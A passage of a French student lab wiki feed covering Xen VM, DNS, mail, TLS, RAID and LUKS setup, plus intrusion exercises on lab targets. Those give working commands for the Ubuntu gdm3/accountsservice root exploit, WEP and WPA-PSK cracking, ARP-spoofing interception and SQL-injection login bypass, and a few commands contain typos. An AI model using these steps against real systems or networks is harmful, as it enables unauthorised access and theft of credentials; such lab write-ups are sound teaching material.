 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54219</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54219"/>
				<updated>2020-12-01T21:08:17Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4. Services Internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
